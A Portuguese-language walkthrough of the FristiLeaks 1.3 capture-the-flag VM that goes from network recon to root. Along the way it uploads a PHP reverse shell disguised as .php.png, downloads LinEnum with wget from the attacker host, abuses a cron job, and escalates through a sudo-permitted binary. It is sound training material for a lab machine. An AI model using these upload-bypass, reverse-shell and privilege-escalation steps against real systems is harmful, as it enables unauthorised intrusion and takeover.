FristiLeaks: 1.3
Name: FristiLeaks: 1.3
Date release: 14 Dec 2015
Description:
Uma pequena VM foi feita para um encontro de hackers informais holandeses chamado Fristileaks. Pretende ser quebrado em poucas horas sem exigir depuradores, engenharia reversa, etc.
NOTE: Os usuários do VMware precisarão editar manualmente o endereço MAC da VM para: 08:00:27:A5:A6:76
Table of Contents
Information Gathering
Route Analysis
Netdiscover
Iniciamos obtendo algumas informações necessárias para podermos continuar, ou seja, precisamos fazer o levantamento de informações. Como não foi passado nosso target, precisamos descobrir qual IP esta associado a máquina vuln.
netdiscover -i eth0 -r 10.0.1.0/24

Nmap
Depois de obter nosso alvo, podemos usar o nmap e iniciar a enumeração e assim pegar mais informações. Por exemplo: Portas abertas, versões de serviços e etc.
nmap -sV -sC -oA nmap/initial 10.0.1.110

Como podemos observar a porta 80 esta aberta e possui o serviço http, com servidor web server apache na versão Apache httpd 2.2.15, e uma distribuição CentOS, possui também o robots.txt com 3 entradas não permitidas. Vamos analisar melhor isso.
Web Application Analysis
Nikto
nikto -C all -host 10.0.1.110 -output nikto_init_port_80.txt

Web Crawlers & Directory Bruteforce
CeWL
Inicialmente eu tentei diversas wordlists e não encontrava nada, voltei ao tempo e criei uma wordlist personalizada com o CeWL e assim tentei encontrar algo interessante.
cewl -w customwordlist.txt -d 2 -m 4 10.0.1.110 -o -v
Dirsearch
python3 /opt/dirsearch/dirsearch.py -u http://10.0.1.110/ -w customwordlist.txt -e php -x 403

Algo interessante depois de nossa wordlist personalizada, navegando ate o fristi encontramos uma página de login, lol. Evoluímos!!!

Exploitation Tools
Base64
Olhando o source da página podemos ver um comentário, de acordo com minha experiencia me parece um base64. Vamos decodar isso e ver o que encontramos.

Então pegamos o comentário do source, e inserimos em um arquivo. No meu caso criei um file com o seguinte nome source.b64 e em seguida realizei o decoder.
cat source.b64 |base64 -d

Observe no início do arquivo que tem escrito PNG. Bom, vamos decodar novamente mas agora redirecionando a saída para um arquivo no formato .png
cat source.b64 |base64 -d > file_source.png

Agora temos uma possível senha, vamos ver como podemos usar. De imediato tentei usar com o user admin, mas não obtive êxito. Voltando no source novamente encontrei um possível usuário.

eezeepz:keKkeKKeKKeKkEkkEk
Então temos fazer login novamente na página.

Bingoo! Realizado o login na página!

Agora temos uma página para realizar uploads. Precisamos fazer bypass e assim poder obter uma reverse shell.

Bypass
Como falei anteriormente precisamos encontrar uma maneira de fazer o bypass. Sera utilizado o php-reverse-shell default do kali, edite conforme suas configurações adicionando IP e PORT de sua escolha. Em seguida mova para .php.png
mv php-reverse-shell.php5 shellv.php.png
Reverse Shell
Depois de realizado as configurações necessárias, você deve colocar a porta escolhida em modo listen e fazer o upload do arquivo modificado. Assim que realizar isso, acesse o arquivo enviado no dir /fristi/uploads/seuarquivo.php.png feito isso você terá uma shell.

Acesse o arquivo e obtenha uma revshell.

Privilege Escalation
Spawn Shell
/usr/bin/python -c 'import pty;pty.spawn("/bin/bash");'

Upgrading to a fully interactive reverse shell
Ctrl + Z
bash-4.1$ ^Z
[1]+ Stopped nc -lvp 6464
$ stty -echo raw
$ fg

Com uma shell interativa completa fica bem mais fácil de trabalhar, você pode usar o TAB, pode usar o Ctrl + C e você não perde sua shell.
File Transfer
Poderíamos partir logo para kernel explotation, mas antes vamos rodar o Linenum, mas precisamos antes transferir para nosso alvo.
systemctl start apache2
locate LinEnum
Se você não tem o LinEnum em sua máquina, você pode realizar o download. AQUI
cp /root/fatec/172.17.0.2/download/LinEnum.sh /var/www/html/
Na máquina alvo realize o download.
wget http://10.0.1.104/LinEnum.sh

LinEnum
Adicione permissão para executar.
chmod +x LinEnum.sh
Agora execute o ./LinEnum

Possíveis vetores de ataques.
Sudo version 1.8.6p3

kernel - Linux version 2.6.32-573.8.1.el6.x86_64

Existe outros usuários, vamos verificar mais de perto.

Automated Checks - User admin
Dentro do /home/eezeepz encontramos umas anotações.

bash-4.1 $ cat notes.txt
Yo EZ,
Eu fiz o possível para você fazer algumas verificações automatizadas,
Mas eu permiti apenas o acesso aos binários do sistema /usr/bin/*. Eu fiz
no entanto copiar alguns comandos extras freqüentemente necessários para o meu
homedir: chmod, df, gato, eco, ps, grep, egrep para que você possa usá-los de /home/admin/
Não esqueça de especificar o caminho completo para cada binário!
Basta colocar um arquivo chamado "runthis" em /tmp/, cada linha um comando.
A saída vai para o arquivo "cronresult" em / tmp /.
Deveria executar cada minuto com privilégios de minha conta.
- Jerry
Bom, de acordo com as anotações podemos utilizar os comandos disponíveis no /home/admin, sendo assim utilizando o chmod podemos dar permissão total para qualquer pessoa acessar o home do admin.
echo "/home/admin/chmod -R 777 /home/admin/" > /tmp/runthis

Veja, depois de alguns minutos as permissões foram alteradas, permitindo qualquer pessoa acessar o /home/admin.
Decoder - User fristigod
Depois de acessar o admin encontramos um arquivo com o texto criptografado.

Também podemos ver o encode.

Depois de olhar o encode, podemos programar o decoder e assim obter o texto legível.

lol, temos o texto legível!!

Sabemos que existe 3 users, temos acesso ao admin e eezeepz ainda falta o fristigod. Podemos ver em nosso home para você lembrar, depois vamos mudar de usuário utilizando a senha que conseguimos decodar, ou seja, vamos atras do fristigod.
fristigod:LetThereBeFristi!
su fristigod

Sudo - Get root
Como de costume, apos realizar a enumeração básica e verificar o sudo -l podemos ver que existe um programa que executa com permissão de root com o usuario fristi setado, vamos analisar mais de perto e ver como podemos escalar o privilegio com ele.

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
Observe o modo de uso, execute o programa junto do comando desejado.
Usage: ./program_name terminal_command ...
Obvio, vamos passar o /bin/bash
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

GG!!! hello hello how low……
Obtemos o root com sucesso!